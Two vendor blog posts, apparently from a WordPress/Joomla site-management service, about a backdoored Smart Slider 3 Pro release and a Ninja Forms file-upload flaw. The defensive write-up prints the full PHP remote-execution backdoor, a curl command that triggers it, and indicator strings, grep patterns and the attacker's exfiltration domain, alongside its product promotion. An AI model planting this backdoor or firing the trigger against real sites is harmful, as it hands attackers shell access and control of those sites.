mySites.guru Blog

Smart Slider 3 Pro 3.5.1.35 Was a Malicious Release: Supply Chain Compromise

phil@mysites.guru (Phil Taylor) — Wed, 08 Apr 2026 00:00:00 GMT

Last week we wrote about CVE-2026-3098, an arbitrary file read vulnerability in Smart Slider 3 affecting 800,000 WordPress sites. The fix was to update to version 3.5.1.34.

This week is worse. Much worse.

Smart Slider 3 Pro version 3.5.1.35 was a malicious release. Not a vulnerability, not a coding mistake, not a missed capability check. An unauthorized party pushed a backdoored build through Nextend's own update infrastructure, and anyone who clicked "update plugin" between the release of 3.5.1.35 and its detection received working remote code execution as the web server user.

This is a supply-chain attack. The kind every security team has nightmares about, where the official update channel itself becomes the malware delivery system. Nextend has acknowledged the breach in security advisories for both WordPress and Joomla, pulled 3.5.1.35 from distribution, audited their infrastructure, and shipped a clean 3.5.1.36 as the safe replacement.

If your site updated to Smart Slider 3 Pro 3.5.1.35 at any point, treat it as compromised until proven otherwise.

Smart Slider 3 Pro 3.5.1.35 was a malicious release pushed via Nextend's official update channel
Affects both WordPress and Joomla editions of Smart Slider 3 Pro (Nextend published separate advisories for each)
Payload is a remote code execution backdoor: a _chk query parameter triggers shell or PHP execution from POST data
Versions 3.5.1.34 and earlier are not affected. The safe replacement is 3.5.1.36
Indicators of compromise: hidden admin users starting with wpsvc_, files named cf_check.php in /cache and /media, the strings _wpc_ak, eval(base64_decode, or wpjs1.com in any PHP file
Nextend's official cleanup script removes the known indicators

<div class="not-prose my-6 rounded-lg border border-red-200 bg-red-50 p-4 dark:border-red-800 dark:bg-red-950"> <p class="font-medium text-red-900 dark:text-red-200">If your site ran 3.5.1.35, assume compromise.</p> <p class="mt-1 text-sm text-red-800 dark:text-red-300">A working remote code execution backdoor was active on every site that installed this release. Updating to 3.5.1.36 closes the door but does not remove anything the attacker placed before you closed it. You must run the indicator-of-compromise checks below and use Nextend's cleanup script.</p> </div>

What Actually Happened to Smart Slider 3 Pro 3.5.1.35?

In Nextend's own words from the official advisory:

A security breach occurred affecting the update infrastructure responsible for distributing Smart Slider 3 updates. Unauthorized parties published a malicious version 3.5.1.35, which may have been installed on some websites before the issue was detected.

This is the part that matters: the attacker did not exploit a bug in the plugin. They got into the update infrastructure itself. For the time window 3.5.1.35 was live, Nextend's own update servers were serving a backdoored build to anyone who clicked update. Every defense that assumes the official update channel is trustworthy was bypassed by definition. Auto-updates pulled it. WordPress.org and the Joomla extension manager pulled it. Plugin update notifications recommended it. Anything checking signatures from Nextend would have validated it.

Nextend has since pulled 3.5.1.35 from distribution, audited their infrastructure, and shipped a clean 3.5.1.36 as the safe replacement. They have not yet published a post-incident report on how the attacker got in, how long they had access, or whether other releases were touched.

Until that report exists, treat every site that ran 3.5.1.35 at any point as compromised.

How to Check Your Sites for Smart Slider 3 Pro 3.5.1.35 with mySites.guru

When a supply-chain incident drops, the first question every agency asks is: "Which of my sites pulled the bad version?" If you manage 50 or 200 client sites, logging into each one and checking the plugin version is not viable. By the time you get through the list, the attacker has had hours of free access.

mySites.guru's twice-daily extension snapshot records the exact version of every installed plugin and Joomla extension across every connected site. The extension search page lets you filter by version number in seconds:

If you are already a mySites.guru subscriber, the Smart Slider 3 extension search page lists every installed version across all your connected sites, grouped by version number. Filter for 3.5.1.35 and you will see exactly which sites are exposed.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">View all your Smart Slider 3 installations</p> <p class="mt-2"><a href="https://manage.mysites.guru/en/extensions/similar/to/4f895994db593d472cda9736c9476774" class="inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500">Open Smart Slider 3 Extension Search</a></p> <p class="mt-2 text-sm text-blue-800 dark:text-blue-300">Lists every installed version across all your connected sites. Filter by 3.5.1.35 to find any compromised installations, or 3.5.1.34 to find sites that need to move forward to the clean 3.5.1.36.</p> </div>

Combined with the mass plugin updater, you can push 3.5.1.36 across every affected site in one batch. A supply-chain incident becomes a five-minute triage instead of a stressful afternoon.

If you do not have a mySites.guru account yet, start a free trial and connect your sites. The plugin index builds automatically on the first snapshot.

What Does the Smart Slider 3 Pro 3.5.1.35 Backdoor Actually Do?

The malicious payload is small and clever. Here is the relevant code, formatted for readability:

add_action('init', function () {
    $k = get_option('_wpc_ak', '');
    if ($k && isset($_GET['_chk']) && $_GET['_chk'] === $k) {
        while (@ob_end_clean()) {}
        @error_reporting(0);
        header('Content-Type:text/plain');
        $m = isset($_GET['m']) ? $_GET['m'] : 'sh';
        $d = base64_decode(isset($_POST['d']) ? $_POST['d'] : '');
        if (!$d) {
            echo 'OK';
            die();
        }
        if ($m === 'php') {
            ob_start();
            try {
                eval($d);
            } catch (\Throwable $e) {
                echo $e->getMessage();
            }
            echo ob_get_clean();
            die();
        }
        $out = @shell_exec($d . ' 2>&1');
        echo $out !== null ? $out : 'NOSHELL';
        die();
    }
}, 0);

Walk through what it does, line by line:

add_action('init', ..., 0) - registers the backdoor on every page load at the highest priority. Every request to the site, including the public homepage, runs this code before anything else.
$k = get_option('_wpc_ak', '') - reads a secret value from the WordPress options table, stored under the key _wpc_ak. The malicious installer planted this secret during plugin activation. Joomla's equivalent uses a parameter or table row.
isset($_GET['_chk']) && $_GET['_chk'] === $k - checks if the current request includes a _chk query parameter that matches the planted secret. This is the authentication: if you know the secret, you are in.
while (@ob_end_clean()) {} and @error_reporting(0) - clear all output buffers and silence errors so nothing leaks into the response that would tip off log monitoring.
$m = isset($_GET['m']) ? $_GET['m'] : 'sh' - reads a mode parameter. sh runs shell commands, php evaluates PHP code.
$d = base64_decode($_POST['d']) - reads the payload from POST data, base64-decoded. Base64 keeps the payload out of plaintext intrusion detection signatures.
shell_exec($d . ' 2>&1') or eval($d) - executes the decoded payload. Shell mode runs OS commands as the web server user. PHP mode runs arbitrary PHP code, which is even more powerful because it does not require shell access to be enabled.

The backdoor is triggered with a single HTTP request from anywhere on the internet:

curl -X POST "https://victim.example.com/?_chk=SECRET&m=sh" \
     --data "d=$(echo 'id; uname -a' | base64)"

The attacker's challenge is knowing the secret. Either they know it because they planted it (the compromised installer wrote it during plugin activation), or they have a separate channel to retrieve it from infected sites. Both paths exist in this incident: Nextend's advisory describes additional persistence files in /cache and /media that likely include exfiltration code to phone home with the secret and the site URL.

Why This Is Worse Than a Normal Vulnerability

A normal plugin vulnerability is a coding mistake that an attacker can exploit if they find it. A supply-chain compromise is the attacker shipping their own code through the legitimate update channel. Every site that updates is willingly installing the backdoor.

With CVE-2026-3098 last week, an attacker needed a subscriber account and knowledge of the export AJAX endpoint. With 3.5.1.35, an attacker needs nothing except for the site to have clicked "update". The plugin runs with full PHP privileges, so the backdoor inherits all of that.

This also means the usual mental model breaks. Your firewall rules, your nonce checks, your role-based permissions, none of them apply, because the malicious code is running inside your trusted plugin code path. It is the plugin.

Indicators of Compromise: How to Tell If Your Site Was Infected

If your Smart Slider 3 Pro version was at any point 3.5.1.35, run all of these checks before assuming you are clean.

1. Hidden Admin Accounts

Nextend's advisory describes the malicious installer creating administrator accounts with usernames starting with wpsvc_ and an email address of kiziltxt2@gmail.com. On Joomla, the same pattern applies.

WordPress check via WP-CLI:

wp user list --role=administrator --fields=user_login,user_email

Look for any account starting with wpsvc_ or with the kiziltxt2@gmail.com email. SQL alternative:

SELECT user_login, user_email, user_registered
FROM wp_users
WHERE user_login LIKE 'wpsvc_%'
   OR user_email LIKE '%kiziltxt2@gmail.com%';

Joomla equivalent:

SELECT username, email, registerDate
FROM jos_users
WHERE username LIKE 'wpsvc_%'
   OR email LIKE '%kiziltxt2@gmail.com%';

Replace jos_ with your actual table prefix.

How mySites.guru helps: universal user management lists every user account across every connected site in one view. Sort by registration date or filter by username pattern to spot wpsvc_* accounts across hundreds of sites at once, instead of logging into each one.

2. Backdoor Files in Cache and Media Directories

The advisory specifies cf_check.php files placed in /cache and /media (Joomla) and equivalent locations on WordPress (wp-content/cache, wp-content/uploads, wp-content/mu-plugins). Find them:

find . -name 'cf_check.php' -type f
find wp-content/mu-plugins -type f -name '*.php' -newer /tmp/reference-timestamp

Any unexpected PHP files in cache, media, or upload directories should be considered hostile until proven otherwise. Legitimate files in those directories are extremely rare.

How mySites.guru helps: the hidden files report flags exactly this kind of orphan PHP file living outside the normal core/plugin paths. The suspect content scanner catches cf_check.php and similar known backdoor filenames automatically across every connected site.

3. Backdoor Strings in PHP Files

Grep for the literal strings the malicious payload uses:

grep -rEn '_wpc_ak|wpjs1\.com|kiziltxt2@gmail\.com' \
  --include='*.php' .
grep -rEn 'eval\s*\(\s*base64_decode' --include='*.php' .

The first command catches the option key, the exfiltration domain, and the attacker email. The second catches the most common PHP backdoor pattern, which appears in the malicious code samples Nextend shared.

How mySites.guru helps: the suspect content scanner runs the same pattern matching across every connected site, then AI-powered malware analysis explains exactly what each suspicious snippet does so you can triage real threats from false positives without reading every flagged file by hand.

4. Recently Modified PHP Files

Any PHP file modified between the release of 3.5.1.35 and your update to 3.5.1.36 should be reviewed. If you do not know that window, check anything modified in the last fourteen days:

find . -name '*.php' -mtime -14 -type f

Cross-reference this list against your normal deployment activity.

How mySites.guru helps: real-time file change alerts tell you the moment a PHP file changes outside a normal update window, with email notifications. Instead of running find -mtime after the fact, you would have known the same day the backdoor was planted.

5. Theme File Modifications

Nextend mentions infected theme files as part of the persistence mechanism. The mySites.guru file change monitor catches this automatically by comparing every PHP file's hash against the previous snapshot. If a theme file changed without a corresponding template update, you have an answer.

6. The `_wpc_ak` Database Option

The most direct indicator: if the _wpc_ak option exists in your wp_options table, the backdoor planted its key.

SELECT * FROM wp_options WHERE option_name = '_wpc_ak';

Joomla equivalent depends on where the malicious code stored its key. Check the #__extensions params, #__assets, and any plugin-specific tables for entries with names starting with _wpc_.

How mySites.guru helps: the deep security audit walks the database looking for unexpected options, modified core files, and tampered configuration. For Joomla sites specifically, the database security check verifies privileges and looks for rows planted by malicious code.

mySites.guru Is Already Finding the Smart Slider 3 Backdoor on Live Client Sites

We are already seeing this backdoor on real connected sites. The screenshot below is from a client site that was running 3.5.1.35 when its scheduled audit ran overnight. The suspect content scanner caught it and flagged the file three hours ago:

</div>

One file. Sixteen lines of PHP. Six separate suspect content matches, each tied to the exact line number with a label that explains why it is hostile. The scanner catches the indicators we covered above (_wpc_ak, eval(base64_decode, shell_exec), but it also flags three things Nextend's advisory does not mention at all:

A pre_user_query filter on line 12 that hides any user whose ID matches the _wpc_uid option. The attacker's hidden admin account never shows up in Users > All Users. If you only check the WordPress user list in wp-admin, you see nothing wrong.
A magic_login endpoint on line 13 that accepts a _wplogin query parameter, validates it with an HMAC-SHA256 of the string magic_login keyed by AUTH_KEY.SECURE_AUTH_KEY, then forges an auth cookie for the user ID stored in _wpc_uid and redirects through a base64-decoded URL. The attacker can log in as the hidden admin from any browser, without ever sending a password.
A magic_login_v2 variant on line 14 that does the same thing but skips the option lookup. It runs a SQL query for any existing administrator account whose username starts with wpsvc_, falls back to a generic %administrator% match if that fails, and logs in as the first match. This is the attacker's backup channel in case the _wpc_uid option gets deleted.

So the payload is not just a remote shell. It is a full persistence kit. If your cleanup only removes the _chk shell handler that the Nextend advisory describes, the attacker still has two working login paths and an invisible admin account waiting for them.

How to Run the Scan and Fix Across All Your Sites

The suspect content scanner runs as part of every mySites.guru audit. For a single site, open the site in the dashboard and check the Suspect Content section of its audit report. For your whole portfolio, every scheduled audit runs the same scan automatically and any flagged file shows up in the global activity feed.

Every match in the screenshot has its own action buttons. The red flag marks the file as confirmed hostile and queues it for cleanup. The green flag marks it as a false positive so the scanner stops alerting on it for that site. The purple AI button sends the snippet to the AI-powered malware analysis, which writes a plain-English explanation of what the code does. The trash icon deletes the file from the server. The edit icon opens the file inline so you can strip the malicious lines out of a file that also contains legitimate code.

For the 3.5.1.35 case, object-cache-helper.php is not a real WordPress core or plugin file. The whole file is malicious. The right action is delete. That cuts off every backdoor in one click. Then update Smart Slider 3 Pro to 3.5.1.36, run the indicator-of-compromise checks above, and look at whatever else the same audit run flagged - the attacker may have dropped more than one file.

If you manage 50 or 200 client sites, the next scheduled audit answers the question "did any of mine get hit by 3.5.1.35" without you logging into anything.

Cleanup: How to Recover an Infected Smart Slider 3 Pro Site

Nextend has published an official cleanup zip that removes the known indicators of compromise. Their cleanup performs the steps below automatically. If you prefer to do it manually, or want to verify the cleanup ran correctly, here is the order.

1. Take a Forensic Backup First

Before deleting anything, take a full backup of the file system and database. If the site is later determined to have been compromised in a way the cleanup script does not address, you need the original artifacts to investigate. mySites.guru's one-click backup handles this in seconds.

2. Update to 3.5.1.36 Immediately

Through the WordPress plugin updater or Joomla's extension manager. Verify the version after update.

3. Run the Nextend Cleanup Script

Download cleanup.zip from nextendweb.com/public/cleanup.zip, upload it to the site, and follow the instructions in the official advisory. The script removes hidden admin accounts, deletes the known backdoor files, and cleans modifications to theme files.

For one or two affected sites, this is a quick job. For 50 or 200, the prospect of SFTPing into each one, uploading the zip, running it, and verifying it ran cleanly is what makes this kind of incident eat a whole day.

<div class="not-prose my-8 rounded-xl border-2 border-blue-200 bg-gradient-to-br from-blue-50 to-indigo-50 p-6 dark:border-blue-800 dark:from-blue-950 dark:to-indigo-950"> <div class="flex items-start gap-4"> <div class="flex-shrink-0 flex h-12 w-12 items-center justify-center rounded-lg bg-blue-600 text-white shadow-lg"> <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="h-6 w-6"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><polyline points="17 8 12 3 7 8"/><line x1="12" y1="3" x2="12" y2="15"/></svg> </div> <div class="flex-1"> <p class="text-lg font-semibold text-blue-900 dark:text-blue-100">Push the Nextend cleanup zip to every affected site in one batch</p> <p class="mt-2 text-sm text-blue-900 dark:text-blue-200">mySites.guru's <a href="/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/" class="font-semibold underline">mass package install</a> tool was built for pushing plugin installs across hundreds of sites at once. Same workflow works for the Nextend cleanup zip: upload it once, pick every site running Smart Slider 3, and deploy. No SFTP, no per-site admin login, no copy-pasting credentials. A 200-site cleanup turns into a couple of clicks.</p> <p class="mt-3"><a href="/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/" class="inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-semibold text-white no-underline shadow-md hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500">Read how mass package install works <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round" class="h-4 w-4"><path d="M5 12h14"/><path d="m12 5 7 7-7 7"/></svg></a></p> </div> </div> </div>

4. Delete the `_wpc_ak` Option

After the cleanup script runs, verify the option is gone:

DELETE FROM wp_options WHERE option_name = '_wpc_ak';

5. Reset All Credentials

Treat the site as having had its file system fully read by an attacker. That means:

New WordPress admin passwords for every account
New wp-config.php authentication keys and salts (generator)
New database password
New hosting control panel password
New FTP/SSH passwords if used
New API keys for any service whose credentials might be in wp-config.php, .env, or similar files

6. Audit User Accounts Across the Board

Use mySites.guru's universal user management to review accounts across all your sites in one place. Hidden accounts may exist with names that do not match the wpsvc_ pattern if a more sophisticated attacker piggybacked on the same backdoor.

7. Run a Full Security Scan

Use the mySites.guru suspect content scanner to look for additional backdoors, modified core files, and any PHP files in unexpected locations. Pair it with AI-powered malware analysis for files the rule-based scanner flags as suspicious.

8. Enable File Change Monitoring Going Forward

Real-time file change alerts catch any future modifications to PHP files outside normal deployment activity. If a backdoor returns, you find out within hours instead of after the next breach is announced.

9. Review Server Access Logs

Look for POST requests to your site root containing a _chk query parameter. Any such requests indicate the backdoor was used, and you need to investigate what was done with that access. Common patterns:

POST /?_chk=...&m=sh HTTP/1.1
POST /?_chk=...&m=php HTTP/1.1

If the requests succeeded with 200 responses and your site logs showed activity from unfamiliar IPs, escalate the investigation.

Is the Joomla Version of Smart Slider 3 Pro Also Compromised?

Yes. Nextend published a separate Joomla security advisory covering the same incident. The Joomla edition of Smart Slider 3 Pro 3.5.1.35 received the same compromised release through the same channel.

The malicious behaviors described in the Joomla advisory are the same family as the WordPress version:

Hidden Joomla administrator accounts with usernames starting with wpsvc_
Backdoor files in /cache/cf_check.php, /media/cf_check.php, and possibly in /tmp and /images
The same eval(base64_decode(...)) PHP execution pattern
Exfiltration to wpjs1.com

If you manage Joomla sites with Smart Slider 3 Pro installed, treat this with identical urgency. Update to 3.5.1.36, run the same indicator checks (adapted for Joomla paths), and use Nextend's cleanup script.

This is also the second time we have flagged the same Joomla codebase in two weeks. Last week's CVE-2026-3098 post confirmed that the WordPress and Joomla editions share identical vulnerable files. This week confirms that they share identical compromised distribution. If you are running Smart Slider 3 Pro on Joomla, you are exposed to every WordPress incident this plugin has, and probably will continue to be.

What This Incident Tells Us About Plugin Supply Chains

Supply-chain attacks on commercial CMS plugins are rare in public disclosure but probably more common than the published incidents suggest. This is the kind of compromise where the vendor often discovers it months later, and only the victims who notice unusual activity ever get told.

The defenses that matter:

Version pinning at the agency level. If you manage many sites, do not auto-update commercial plugins on the day of release. Wait 48-72 hours. Most malicious releases are detected and pulled in that window. mySites.guru's scheduled updates lets you stage update windows so client sites do not all jump on day-zero releases.
Inventory before incident. When the next compromised release happens, you need to know which sites have which versions in seconds, not hours. That is what an extension snapshot is for. Manual checking is not viable when you manage 50+ sites.
File change monitoring. Plugin updates do legitimate file changes. A backdoor planted by a plugin update looks the same as the plugin update itself. But after the update settles, any further changes to PHP files in /cache, /uploads, or /mu-plugins are anomalous, and a file change monitor catches them.
Separation between dev, staging, and production. Push commercial plugin updates to staging first. Run them for 24 hours. If the plugin starts making outbound connections to unfamiliar domains or writing files to cache directories, you catch it before production sees a single request.
Treat plugin code as hostile. Run PHP with disable_functions = exec,shell_exec,passthru,system,popen where the plugins you use do not need them. This particular backdoor's shell mode would have failed silently with no shell access. The PHP eval mode would still have worked, but you cut off half the attack surface for a one-line config change.

Smart Slider 3 Pro 3.5.1.35 Compromise Timeline

Date	Event
March 24, 2026	Smart Slider 3.5.1.34 released, patching CVE-2026-3098
Late March 2026	Smart Slider 3 Pro 3.5.1.35 released through Nextend's compromised update infrastructure
Early April 2026	Nextend detected the compromise, pulled 3.5.1.35 from distribution, and audited their systems
April 2026	Smart Slider 3 Pro 3.5.1.36 released as the safe replacement
April 8, 2026	WordPress and Joomla security advisories published

Want Someone to Handle This for You?

If you'd rather not work through the cleanup steps yourself, visit fix.mysites.guru and submit a request. For a one-time set fee, the site gets patched, audited for backdoors, locked down, and handed back secure. Non-subscribers get a free month of mySites.guru included.

Ninja Forms File Uploads CVE-2026-0740: The AJAX Pattern Strikes Again

phil@mysites.guru (Phil Taylor) — Tue, 07 Apr 2026 00:00:00 GMT

The vulnerable function in CVE-2026-0740, disclosed by Wordfence on April 6, is called NF_FU_AJAX_Controllers_Uploads::handle_upload. That class name tells you the entire story before you read a line of code. A WordPress plugin registered an AJAX handler for file uploads, missed a validation step, and shipped an unauthenticated remote code execution vulnerability to around 50,000 sites running Ninja Forms File Uploads. CVSS 9.8.

This is the fifth AJAX-handler-with-missing-checks CVE we have written about this year. That is not a coincidence, it is a pattern. We dug into the pattern in depth last week: WordPress's admin-ajax.php and Joomla's com_ajax were built as lightweight utility endpoints where the framework does almost nothing and expects plugin developers to handle authentication, authorization, and input validation themselves. When they don't - or when they check the obvious things and miss the subtle ones - you get CVE-2026-0740, and CVE-2026-21628 (Astroid Framework), and CVE-2026-21627 (Novarain Framework), and CVE-2026-3098 (Smart Slider 3), and CVE-2025-8489 (King Addons for Elementor), and the next one that will land before the month is out.

Ninja Forms is interesting because the developers actually did check things. That is what makes this one different from the Astroid or Novarain pattern where the handler had no real checks at all. Ninja Forms checked a nonce, validated the source file type, and required form and field IDs. They even shipped a patch when Wordfence reported the issue. The patch did not fix it - 3.3.25 was a partial patch, and only 3.3.27 closes the hole.

If you manage WordPress sites running Ninja Forms with the File Uploads add-on, stop reading and check your versions. Then come back.

What are the details of CVE-2026-0740?

Detail	Value
CVE	CVE-2026-0740
CVSS	9.8 Critical
Type	Unauthenticated Arbitrary File Upload
Vulnerable function	`NF_FU_AJAX_Controllers_Uploads::handle_upload`
Root cause	No destination filename validation or sanitization
Affected versions	<= 3.3.26
Partial patch	3.3.25 (February 10, 2026) - still vulnerable
Full patch	3.3.27 (March 19, 2026)
Auth required	No - unauthenticated
Publicly disclosed	April 6, 2026
Researcher	Sélim Lanouar (whattheslime), via Wordfence Bug Bounty Program
Active installs	Around 50,000

How does the Ninja Forms File Uploads AJAX vulnerability work?

The vulnerable function is NF_FU_AJAX_Controllers_Uploads::handle_upload. It's the AJAX handler Ninja Forms registers via admin-ajax.php so visitors can upload files through a contact form. Looking at the code Wordfence published in their technical analysis, it does do several things right:

It checks a nonce via check_ajax_referer to prevent simple CSRF
It validates the source filename's extension against a blacklist in a _validate() helper
It requires a form ID and a field ID to be present

Where it fails is in the handling of the destination filename - what the plugin will call the file once it has been saved to disk.

After validating the uploaded file, the plugin reads a POST parameter (a key derived from the file field name) to determine the destination filename. In the vulnerable versions, that destination filename is not sanitized and its extension is not re-checked. An attacker uploads an innocent-looking file such as document.jpg, which passes the source validation, then supplies a POST parameter telling the plugin to move it to a file called something like ../../../../var/www/html/shell.php.

The plugin calls move_uploaded_file() with the attacker-controlled destination and writes a PHP file to wherever the attacker asked for it. Request that PHP file directly, and you have remote code execution on a server running around 50,000 sites' worth of contact forms.

The fix in 3.3.27 adds the checks that were missing: basename() to strip path traversal, sanitize_file_name() to clean the filename, and pathinfo() plus a blacklist check on the destination extension. You can see the sanitization logic clearly in the patched code Wordfence published, including this comment from the vendor:

// Security fix: Sanitize user-provided filename to prevent path traversal

File upload AJAX handlers have far more surface area than they look. Checking the obvious things (nonce, source filename) is not the same as checking the complete data flow. The obvious checks are the ones developers remember. The subtle ones - destination path traversal, destination extension, basename sanitization, the interaction between raw POST input and WordPress's own filename functions - are the ones that get missed. That is the AJAX pattern in a sentence, and it's the reason this post exists.

Why did the first Ninja Forms File Uploads patch not fix CVE-2026-0740?

Wordfence received the responsible disclosure on January 8, 2026 and shipped a firewall rule to Premium customers the same day. The vendor acknowledged on January 12, sent a patch for review on January 27, and released 3.3.25 on February 10 as the first patched version.

Except 3.3.25 was not actually patched. It fixed part of the destination filename handling but left the exploit path open. 3.3.26 was also still vulnerable. The fully patched version, 3.3.27, did not ship until March 19 - over a month later.

If your WordPress auto-updater ran any time between February 10 and March 19, it pulled down a version that looked patched on every monitoring dashboard and every security scanner feed, but was still exploitable. The version number went up, the changelog mentioned a security fix, the dashboard went green. Nothing about that process told you the fix had failed. This is one of the reasons some agencies disable auto-updates entirely and drive all plugin updates manually from a central dashboard after verifying the patch is the actual fix.

Wordfence's advisory spells out the timeline in plain text: "The vulnerability was partially patched in version 3.3.25 and fully patched in version 3.3.27." If you only read the CVE summary and see "patched in 3.3.25", you will miss it.

The only safe version is 3.3.27 or later. Anything below that is a live exposure, and "we updated it" and "we're safe" are not the same sentence. A vendor can genuinely try to fix an AJAX handler and still ship an exploit because the surface area is that large.

Which WordPress sites run Ninja Forms File Uploads?

Ninja Forms is one of the more popular form plugins for WordPress. The File Uploads extension is a paid add-on that plenty of sites use for:

Recruitment sites collecting CVs from applicants
Professional services sites accepting project briefs and portfolios
Support portals where customers attach logs or screenshots
Contact forms on agency sites that need file attachments
Event registration forms accepting ID documents

Anywhere a WordPress site accepts files from the public through Ninja Forms, there is a reasonable chance this add-on is the plugin doing it.

Across the sites connected to mySites.guru, hundreds of installs turn up spread across many customer accounts, and a meaningful fraction are still on vulnerable versions. That is the reality across every large WordPress portfolio right now: some sites are patched, some are not, and without a dashboard that lets you group every install by version number, you are guessing.

How do I find which of my WordPress sites are running Ninja Forms File Uploads?

There are three ways to answer the question "which of my sites are running Ninja Forms File Uploads below 3.3.27". Only one of them scales.

Manual check (single site)

If you only manage one WordPress site, the manual check takes a minute:

Log into wp-admin
Go to Plugins -> Installed Plugins
Find "Ninja Forms - File Uploads" in the list
Look at the version number

Anything below 3.3.27 - including 3.3.25 and 3.3.26, which show up as "updated" but are not actually patched - needs updating immediately.

WP-CLI (handful of sites)

If you have SSH access and WP-CLI on each site, this gets you the version without logging into wp-admin:

wp plugin get ninja-forms-uploads --field=version

And to update in one command:

wp plugin update ninja-forms-uploads

Workable for five or ten sites if you don't mind SSHing around. Unworkable for fifty.

Bulk check with mySites.guru (unlimited sites)

mySites.guru indexes every plugin on every connected site continuously. The Extension Search groups all variants of a plugin by its internal key hash, so a single URL lists every version of Ninja Forms File Uploads across your entire portfolio, grouped by version number.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">mySites.guru subscribers: check your Ninja Forms File Uploads versions now</p> <p class="mt-2"><a href="https://manage.mysites.guru/en/extensions/similar/to/b0d077c2b95fae5a814e33d06996c838" class="inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500">Open Ninja Forms File Uploads Extension Search</a></p> <p class="mt-2 text-sm text-blue-800 dark:text-blue-300">Lists every version of Ninja Forms File Uploads across all your connected sites, grouped by version number. Anything below 3.3.27 needs updating right now. Not a subscriber? <a href="https://manage.mysites.guru/en/register" class="text-blue-700 underline dark:text-blue-300">Sign up free</a> to get this visibility across your whole portfolio in minutes.</p> </div>

Or, if you prefer to drive it from the dashboard:

Open Your WordPress Extensions in mySites.guru
Type "ninja-forms-uploads" in the filter bar
Click Which sites? next to the entry to see every site running it, grouped by version number
Any site on 3.3.26 or earlier is vulnerable - you already have the list
Push the update in bulk from the same dashboard

Sites running vulnerable versions are flagged automatically with a red Vulnerable Plugins! badge. You do not need to remember version numbers or cross-reference CVE databases - mySites.guru cross-references every installed plugin against the Wordfence and Patchstack vulnerability feeds twice daily and flags outdated or vulnerable versions for you.

The question "which of my sites are still on 3.3.26" goes from an afternoon of manual checks to a few seconds. A hundred-site portfolio resolves in the same time as a five-site portfolio.

Single-site tools cannot answer this question by design. Wordfence runs on each site individually and does not give you a cross-portfolio view. ManageWP and MainWP track WordPress but not Joomla. mySites.guru is built around this specific question: given a CVE, which of my sites are affected right now, and how do I push the fix without logging into each one.

What do I do if I find a WordPress site exposed to CVE-2026-0740?

Patching is step one, but this is an unauthenticated RCE. Anyone scanning the internet for vulnerable installs could already have dropped a webshell. Treat any site you find on 3.3.26 or earlier as potentially compromised and check before you close the ticket.

1. Update to 3.3.27 or later. Not 3.3.25. Not 3.3.26. From mySites.guru, push the update in bulk to every affected site at once.

2. Scan for webshells and backdoors at the file level. The vulnerability writes attacker-controlled PHP anywhere writable on disk, so grep-for-suspicious-filenames is not enough. mySites.guru's deep file scanner inspects every file in the webspace against 12 years of threat signature data and flags webshells, backdoors, and known hacked files regardless of where they were placed. Run it on every site you just patched, not just the obviously dodgy ones. The ones that look clean are the ones you missed. There is more detail on how this works in our post on finding hacked files and backdoors in Joomla and WordPress.

3. Review the Ninja Forms uploads directory manually too. Uploads typically land under wp-content/uploads/ninja-forms/, but because of the path traversal, the malicious file could be anywhere. Look for PHP files in upload directories, recently modified PHP files outside wp-content/plugins/, and any file with a suspicious name in the webroot.

4. Grep your webserver access logs for POST requests to admin-ajax.php with an action parameter matching nf_fu_upload or similar. Anything from an unexpected IP, at an unusual time, or with a suspicious referer header is worth investigating. mySites.guru's real-time activity alerting also catches new PHP files being written and admin logins from unfamiliar IPs, which is exactly the post-exploitation signal you want to see on this kind of vulnerability.

5. Check the usual post-compromise indicators. Unknown admin users, modified core files, unexpected cron jobs, new scheduled tasks, outbound connections from the web server process. Our post on how to tell if your WordPress site is hacked covers the full checklist.

6. Rotate credentials if you find evidence of compromise. Treat anything in wp-config.php (database credentials, salts, API keys) as leaked and rotate it. Reset every admin password. Invalidate active sessions.

If you find a compromised site and do not want to handle the clean-up yourself, mySites.guru's hack recovery service takes over from here: we identify every affected file, remove the backdoors, patch the vulnerability, and harden the site against re-compromise.

How can I prevent the next WordPress plugin AJAX vulnerability from hitting my sites?

This is not going to be the last WordPress plugin AJAX handler to ship an unauthenticated RCE. The pattern of "check the obvious thing, miss the subtle one" is structural, not accidental, and every time a new one lands the game is the same: find your vulnerable sites before the scanners do.

A few things tilt the odds in your favour, and mySites.guru does all of them by default:

Continuous vulnerability scanning across every connected site, cross-referenced against Wordfence and Patchstack feeds twice daily. A new CVE drops, the dashboard tells you who is exposed, you don't have to read the advisories yourself.
Real-time file-change alerting so new PHP files appearing in upload directories or the webroot trigger an immediate notification. This is the single highest-signal alert for file-upload RCEs - the attacker's first move after exploitation is writing a file that did not exist before.
Bulk plugin updates across your whole portfolio in one action, so the window between disclosure and patch is minutes, not days.
Admin login alerting on every connected site, catching the common post-exploit move of creating a new administrator account.
Daily deep file scans against 12 years of threat signature data, so webshells dropped via vulnerabilities you did not even know about still get caught before they do damage.

This is why auto-updates are a safety net and not a strategy. They will happily carry you onto a partial fix like 3.3.25 and then stop. Monitoring, bulk-update control, file-change alerting, and deep scanning are what catch the things auto-updates miss. If you want a concrete operational routine for running these checks across a portfolio, we wrote up exactly that in how to build a five-minute morning routine for checking all your sites.

What is the broader lesson for WordPress agencies?

A version number that looks patched is not the same as a version that is patched. The only authoritative check is to compare the installed version against the fully patched version published by the vendor, not the first version the vendor labelled as a fix.

